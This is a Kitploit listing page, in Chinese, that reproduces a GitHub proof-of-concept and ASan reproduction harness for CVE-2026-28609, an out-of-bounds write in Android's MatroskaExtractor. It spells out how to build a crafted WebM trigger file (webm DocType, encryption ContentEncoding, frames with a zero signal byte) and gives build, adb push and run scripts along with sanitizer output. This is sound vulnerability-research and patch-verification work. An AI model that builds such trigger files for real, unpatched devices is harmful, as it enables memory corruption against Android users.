Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-28609-matroska-pcm-oob — CVE-2026-28609 的概念验证与插桩复现测试框架,该漏洞是 Android MatroskaExtractor 中的一处越界写入,可通过带有大端 PCM 音轨的精心构造的 WebM 文件触发。 | Kitploit
工具/GitHubGitHub/devrodt2/cve-2026-28609-matroska-pcm-oob
Android安全内存取证漏洞分析漏洞利用逆向工程模糊测试移动安全二进制利用
GitHub

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
devrodt2/cve-2026-28609-matroska-pcm-oob

CVE-2026-28609-matroska-pcm-oob

CVE-2026-28609 的概念验证与插桩复现测试框架,该漏洞是 Android MatroskaExtractor 中的一处越界写入,可通过带有大端 PCM 音轨的精心构造的 WebM 文件触发。

查看仓库
2小时57分前尚未审核

CVE-2026-28609 — Matroska PCM 越界写入

针对 CVE-2026-28609 的概念验证、插桩复现测试框架及技术 分析报告。该漏洞是 Android 的 MatroskaExtractor 中的一处越界写入, 可通过构造带有大端序 PCM 音轨的 WebM 文件触发。

概览

  • CVE ID: CVE-2026-28609
  • 厂商: Google / Android
  • 组件: frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cpp
  • 问题: 由不当类型转换导致的越界写入
  • CWE: CWE-787 / CWE-704
  • 受影响版本: Android 14、15、16、16 QPR2
  • 严重程度: 高
  • 影响: 潜在的远程代码执行
  • AOSP 问题编号: A-485377744
  • 补丁: 已在 2026 年 9 月 Android 安全更新中修复

1. 摘要

Android MatroskaExtractor 中的 MatroskaSource::read() 包含一个 PCM 大端序字节交换循环,该循环在加上 frame->range_offset()(一个字节偏移量) 之前,就将帧数据指针转换为 uint16_t *。 由于对 uint16_t * 进行 C 指针运算会将偏移量按 sizeof(uint16_t) = 2 缩放,因此得到的指针位于缓冲区起始位置之后 2 * range_offset 字节处,而非 range_offset 字节处。

当 range_offset > 0 时,该循环会读取并写入帧的 MediaBuffer 末尾之后的一个或多个字节。在没有 ASan 的设备上, 越界读取会静默成功,而越界写入会破坏缓冲区紧随其后的字节。

存在漏洞的代码行:

root@kitploit:~
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
    dstData[i] = ntohs(srcData[i]);
}

上游修复方案是在应用偏移量之前将指针转换为 uint8_t *:

root@kitploit:~
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
    data[i] = ntohs(data[i]);
}

2. 本仓库演示的内容

一个可运行、可复现的 CVE-2026-28609 触发程序,已在真实 Android 14 设备上 通过 AddressSanitizer 验证。本仓库包含:

  1. 一个 Python 生成器,用于生成一个 WebM 文件,驱动提取器进入 存在漏洞的分支,且 range_offset 非零。
  2. 一个 C-ABI 测试框架,通过 dlopen 加载提取器插件, 调用 GETEXTRACTORDEF,并从文件中读取帧。
  3. 一组 构建脚本,用于编译存在漏洞的 AOSP 提取器的 ASan 插桩副本,并将其与设备的媒体框架库链接。
  4. 一个 构建配置,可自动发现包含目录, 使构建过程能适应任何 AOSP 检出。

在存在漏洞的设备上,结果如下:

root@kitploit:~
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
    #0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region

3. 触发机制

存在漏洞的分支需要同时满足以下所有条件:

条件来源
轨道为 PCM

前三个条件通过声明编解码器 ID 为 A_PCM/INT/BIG、位深为 16 的轨道即可满足。 第四个条件才是关键所在。

range_offset 仅在 MatroskaSource::setWebmBlockCryptoInfo() 中被设置为非零值, 该函数在以下条件下由 readBlock() 调用:

root@kitploit:~
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
    err = setWebmBlockCryptoInfo(mbuf);
}

因此,触发文件必须满足:

  • mIsWebm — EBML 的 DocType 元素必须为 "webm",而非 "matroska"。
  • mEncrypted — 轨道必须声明 ContentEncodings,其中 ContentEncodingType = 1(加密)并带有 ContentEncKeyID。
  • 非加密帧 — 每个帧的首字节必须是一个信号字节,其最低位(0x1)为 0, 表示该帧未加密但经过内容编码。这会进入 setWebmBlockCryptoInfo 的 else 分支,该分支调用 set_range(1, len - 1)。

剥离之后,每个帧的 range_offset = 1。存在漏洞的分支随后 计算 (uint16_t *)data + 1,这会前进 2 个字节, 循环读取/写入字节 [2, 2 + range_length) —— 即越过 65 字节分配 (64 字节帧 + 1 字节信号)末尾一个字节。

触发帧的字节布局

root@kitploit:~
+---------+------------------------------------+
| 0x00    | 64 bytes of frame data (0xAA...)   |
+---------+------------------------------------+
  signal               PCM payload

信号字节 0x00 被 set_range(1, 64) 剥离,在 65 字节的分配中 留下一个 64 字节的帧。存在漏洞的指针运算随后在字节偏移 2 到 65 处写入。


4. 仓库结构

root@kitploit:~
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│   └── generator.py             WebM generator + verifier
│
├── harness/
│   └── harness_c_abi.cpp        dlopen-based trigger harness
│
└── scripts/
    ├── build.conf               API level, sanitizer, RTTI flags
    ├── include_dirs.conf.sample Include roots template
    ├── build_foundation.sh      Build the foundation archive
    ├── build_plugin.sh          Build the extractor plugin
    ├── build_harness.sh         Build the harness
    └── run.sh                   End-to-end build + push + run

上游依赖项,由用户在构建前克隆:

root@kitploit:~
av/                    frameworks/av (AOSP)
libwebm/               external/libwebm (mkvparser)
flac/                  external/flac
aosp-includes/         system/core, system/logging, system/libbase,
                       frameworks/native — header trees only
aosp-includes/libs/    libstagefright_foundation.so, libmedia.so,
                       libutils.so, libbinder.so, libcutils.so,
                       libbase.so, libmediandk.so, libstagefright_flacdec.so
                       — pulled from the target device

5. 前提条件

  • 主机: 带有 bash、python3、make 的 Linux 或 WSL2
  • NDK: Android NDK r27+, 通过 $ANDROID_NDK_HOME 设置
  • 设备: Android 14、15、16 或 16-QPR2,安全补丁级别 早于 2026 年 9 月
  • ADB: adb 位于 PATH 中(Linux,或来自 WSL 的 adb.exe)
  • 磁盘: 约 1.5 GB 用于 AOSP 克隆

6. 构建

6.1 克隆上游依赖项

root@kitploit:~
mkdir -p deps && cd deps

# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
    https://android.googlesource.com/platform/frameworks/av av

# libwebm (mkvparser)
git clone --depth 1 \
    https://android.googlesource.com/platform/external/libwebm libwebm

# libFLAC
git clone --depth 1 \
    https://android.googlesource.com/platform/external/flac flac

# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
    git clone --depth 1 \
        "https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..

如果你的 AOSP 树使用模块化提取器布局 (av/media/module/extractors/mkv/),则无需进一步调整。 如果使用较旧的布局(av/media/libstagefright/matroska/), 请参阅构建脚本中的 MKV 变量。

6.2 拉取设备库

root@kitploit:~
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
           libmedia.so libutils.so libbinder.so libcutils.so \
           libbase.so libmediandk.so; do
    adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done

6.3 配置

root@kitploit:~
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf   # if provided separately
$EDITOR scripts/build.conf

将 ANDROID_API 设置为与你的目标设备匹配(例如,Android 14 为 34)。

6.4 构建并运行

root@kitploit:~
./scripts/run.sh

run.sh 脚本按顺序执行四个步骤:

  1. build_foundation.sh — 将 av/media/module/foundation/ 和 av/media/module/metadatautils/ 中的 28 个源文件编译 为 plugin-asan/libstagefright_foundation_asan.a。
  2. build_plugin.sh — 编译 MatroskaExtractor.cpp、 mkvparser.cc、mkvreader.cc,并将它们与该归档链接 为 libmkvextractor_asan.so。
  3. build_harness.sh — 使用 -shared-libsan 编译 harness_c_abi。
  4. 将插件、测试框架、ASan 运行时和 poc.mkv 推送到 /data/local/tmp 并运行测试框架。

构建脚本会自动发现缺失的包含根目录。当编译器 报告 fatal error: 'X' file not found 时,脚本会 搜索依赖树,找到 X 的父目录,并将其追加到 include_dirs.conf。这就是为什么 include_dirs.conf 在首次构建期间 会增长。一旦所有头文件都被发现,该文件就会稳定下来, 后续构建将是确定性的。


7. 预期输出

在存在漏洞的设备上,测试框架会产生:

root@kitploit:~
[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor  uuid[0..3]=abbedd92  version=1  api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
    #0 0x71ecb0ec48  (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
    #1 0x71ecb180c8  (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
    #2 0x5861ac1ed0  (/data/local/tmp/harness_c_abi+0x3ed0)
    #3 0x7279cf15b8  (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)

0x003c61ab3961 is located 0 bytes after 65-byte region [0x003c61ab3920,0x003c61ab3961)
allocated by thread T0 here:
    #0 0x727c507668  (/data/local/tmp/libclang_rt.asan-aarch64-android.so+0xe4668) (BuildId: 163b9ff057b95542705e47bbc20f6f2ca91c5f58)
    #1 0x5861ac26c0  (/data/local/tmp/harness_c_abi+0x46c0)
    #2 0x71ecb15e7c  (/data/local/tmp/libmkvextractor_asan.so+0xbee7c)
    #3 0x71ecb0b50c  (/data/local/tmp/libmkvextractor_asan.so+0xb450c)
    #4 0x71ecb0d96c  (/data/local/tmp/libmkvextractor_asan.so+0xb696c)
    #5 0x71ecb180c8  (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
    #6 0x5861ac1ed0  (/data/local/tmp/harness_c_abi+0x3ed0)
    #7 0x7279cf15b8  (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
    #8 0x5861ac15f4  (/data/local/tmp/harness_c_abi+0x35f4)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
Shadow bytes around the buggy address:
  0x003c61ab3680: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
  0x003c61ab3700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x003c61ab3780: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
  0x003c61ab3800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
  0x003c61ab3880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x003c61ab3900: fa fa fa fa 00 00 00 00 00 00 00 00[01]fa fa fa
  0x003c61ab3980: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3a00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3a80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3b00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3b80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==14927==ABORTING
Aborted

三个数字确认了触发:

  • WRITE of size 2(或 READ,当 ASan 先捕获到 data[i] = ntohs(data[i]) 的读取部分时)
  • 65-byte region — 帧分配为 64 个数据字节加上 1 字节加密信号
  • 0 bytes after — 访问落在分配之后的第一个字节上

8. 本 PoC 不 做的事情

  • 无 RCE。 触发在 ASan 报告处结束。它演示了 写入原语,但并未将其武器化为代码执行。
  • 无堆布局操纵。 1 字节溢出受加密信号大小限制。 更大的溢出需要 setWebmBlockCryptoInfo 中的分区加密路径 (信号字节 0x03),本生成器未涉及该路径。
  • 无持久化。 除测试框架进程本身外,目标上不执行任何代码, 该进程运行后即退出。
  • 无系统修改。 /data/local/tmp 之外的任何内容都不会被 触碰。插件仅由测试框架进程加载。

9. 验证

生成器内嵌了一个验证器。推送前请运行:

root@kitploit:~
python3 exploit/generator.py poc.mkv

预期输出:

root@kitploit:~
[verify] OK - webm DocType + Encryption ContentEncoding will
[verify]      cause readBlock to strip the 1-byte signal via
[verify]      set_range(1, len-1), setting range_offset=1
[verify]      on every PCM frame. The uint16_t* cast in the
[verify]      vulnerable branch then writes 2 bytes past the
[verify]      end of the 64-byte frame buffer.

每个必需字段都会被检查:DocType、TrackType、CodecID、 BitDepth、Channels、ContentEncodingType、ContentEncodingScope、 ContentEncAlgo 和 ContentEncKeyID。如果任何字段有误, 生成器会以 FAIL 退出并打印具体的不匹配项。


10. 时间线

日期事件
2026-03-02Google 预留 CVE
2026-09-08在 Android 安全公告中公开披露
2026-09-09修复合并到 LineageOS lineage-20.0(变更 497992)
2026-09本 PoC 开发并针对真实设备验证

11. 参考资料

  • Android Security Bulletin — September 2026
  • AOSP: frameworks/av
  • AOSP: external/libwebm
  • LineageOS Gerrit change 497992
  • NVD entry for CVE-2026-28609
  • AddressSanitizer

12. 免责声明

本仓库严格出于防御性安全研究和漏洞验证的目的发布。 其目标受众为:

  • 针对自己的测试设备验证该 CVE 的安全研究人员
  • 确认补丁已应用的 Android 平台维护者
  • 在隔离硬件上复现触发以确定暴露面的事件响应人员

请勿在您不拥有或未获得明确书面授权测试的设备上使用此代码。 在非您所有的设备上运行测试框架,或使用生成器生成用于分发的 触发文件,可能违反您所在司法管辖区的计算机滥用法以及 GitHub 的 可接受使用政策。

作者不纵容将本研究用于恶意目的。生成器产生的触发文件 旨在使特定函数在 AddressSanitizer 下崩溃;它不包含可执行 载荷,不修改系统,也不会在测试框架进程之外持久化。

不提供任何担保。 代码按原样提供。作者对因误用或在生产硬件上 运行测试框架而造成的损害不承担任何责任。

如果您是厂商,并认为本仓库包含应根据协调披露流程处理的材料, 请提交 issue,作者将在 72 小时内回复。


13. 许可证

本项目在 Apache-2.0 许可证下发布。完整文本请参见 LICENSE。

版权所有 © 2026 — CVE-2026-28609 PoC 贡献者。

scripts/include_dirs.conf.sample

克隆后将其重命名为 include_dirs.conf。这是种子文件。构建脚本会在首次运行时扩展它。

root@kitploit:~
# include_dirs.conf
#
# Include directories for the CVE-2026-28609 plugin and harness builds.
# One path per line. Blank lines and lines starting with '#' are ignored.
# $ROOT expands to the project root (the directory containing scripts/).
#
# The build scripts extend this file automatically when they discover
# the parent directory of a missing header. Commit the extended version
# if you want reproducible builds.

$ROOT/av/include
$ROOT/av/media/ndk/include
$ROOT/av/media/libstagefright/include
$ROOT/av/media/module/foundation/include
$ROOT/av/media/module/extractors/mkv/include
$ROOT/av/media/module/codecs/flac/dec
$ROOT/libwebm
$ROOT/libwebm/mkvparser
$ROOT/flac/include
$ROOT/aosp-includes/core/libutils/include
$ROOT/aosp-includes/core/libcutils/include
$ROOT/aosp-includes/core/libcutils/include_outside_system
$ROOT/aosp-includes/core/include
$ROOT/aosp-includes/core/libsystem/include
$ROOT/aosp-includes/libbase/include
$ROOT/aosp-includes/native/include
$ROOT/aosp-includes/native/libs/binder/include
$ROOT/aosp-includes/native/libs/ui/include
$ROOT/aosp-includes/logging/liblog/include

scripts/build.conf.sample

克隆后重命名为 build.conf。

root@kitploit:~
# build.conf — build configuration for CVE-2026-28609 PoC

# Android API level. Must be >= 29. Match your target device.
ANDROID_API=34

# Enable AddressSanitizer.
ENABLE_ASAN=1

# Debug flags.
OPT_FLAGS="-O1 -g -fno-omit-frame-pointer"

# Match AOSP's libutils / libmedia / libstagefright build flags.
# Set to 1 unless you have a specific reason not to.
DISABLE_RTTI=1
DISABLE_EXCEPT
IONS=1
下载工具
mType == PCM
大端序AMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1
16 位采样AMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16
帧具有非零 range_offset由 set_range(offset, ...) 设置